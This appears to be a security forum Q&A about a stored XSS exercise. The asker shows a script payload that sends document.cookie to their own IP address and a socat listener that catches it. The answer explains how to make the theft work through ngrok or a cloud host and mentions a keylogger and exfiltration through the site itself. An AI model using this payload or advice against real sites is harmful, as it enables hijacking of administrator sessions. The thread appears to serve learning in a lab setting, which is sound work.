How to get admin cookie with Persistent XSS?

Question

Two parts to this question.

1. Let's say there is a site which accepts my input and sends it in XML format to server. When I enter the input as shown here: https://ghostbin.com/paste/hc5n6

The reason I put the code at above link is because I cannot insert the code here. It does not format properly.

It adds a new line in the HTML page response:

<script language="Javascript" type="text/javascript">alert ('XSS')</script>rn

I even receive a popup and the JavaScript executes successfully.

So, as I understand, the page is vulnerable to persistent XSS? Since those entries are persistent on the web page and each time I reload the web page, the javascript is a part of the HTML response.

2. Now, I want to steal the admin cookie (this is part of an exercise where the server is remote). It is not a Local area network.

I constructed my payload as shown below:

<![CDATA[rn
    <script language="Javascript" type="text/javascript">document.write('<img src="http://<ip_address>/?'+document.cookie+' "/>');</script>rn
    ]]>

Here, ip_address is my local IP address (as returned by ifconfig).

I run socat on my local machine as shown below:

socat TCP-LISTEN:80,reuseaddr,fork -

Now, my question is, how can I receive the admin cookie using above method?

Because the server is remote. When the administrator visits the page with persistent XSS, how will the cookie of administrator be transmitted to me?

Do I need to supply my public IP address in above image URL instead of the local IP address?

Answer 1

To get another user's cookie via javascript, you seem to need the following conditions to hold true:

• the cookie is not set with HttpOnly (otherwise the browser will deny JS access to the cookie) or you are able to get a JS based keylogger into the login page and MFA is not used.
• you are able to get the XSS to run somewhere an admin user will be
• and either:
  1. you have a resolveable host that the cookie can be sent to - if this is a public internet application and you're not on the same network, you could use a personal machine exposed via something like ngrok or some other host that is publicly addressable like an exposed AWS/GCP/Azure server
     • and CORS is enabled so the browser doesn't block a x-domain request/you use a way of bypassing SOP like via the img tag in your example. or
  2. can devise some means of exfiltrating the cookie via the server that hosts the site. This might be achieved by causing the admin user to post their cookie back to the site somewhere you can find it/extract it from server rendered HTML (like a hidden field in a forum post or something).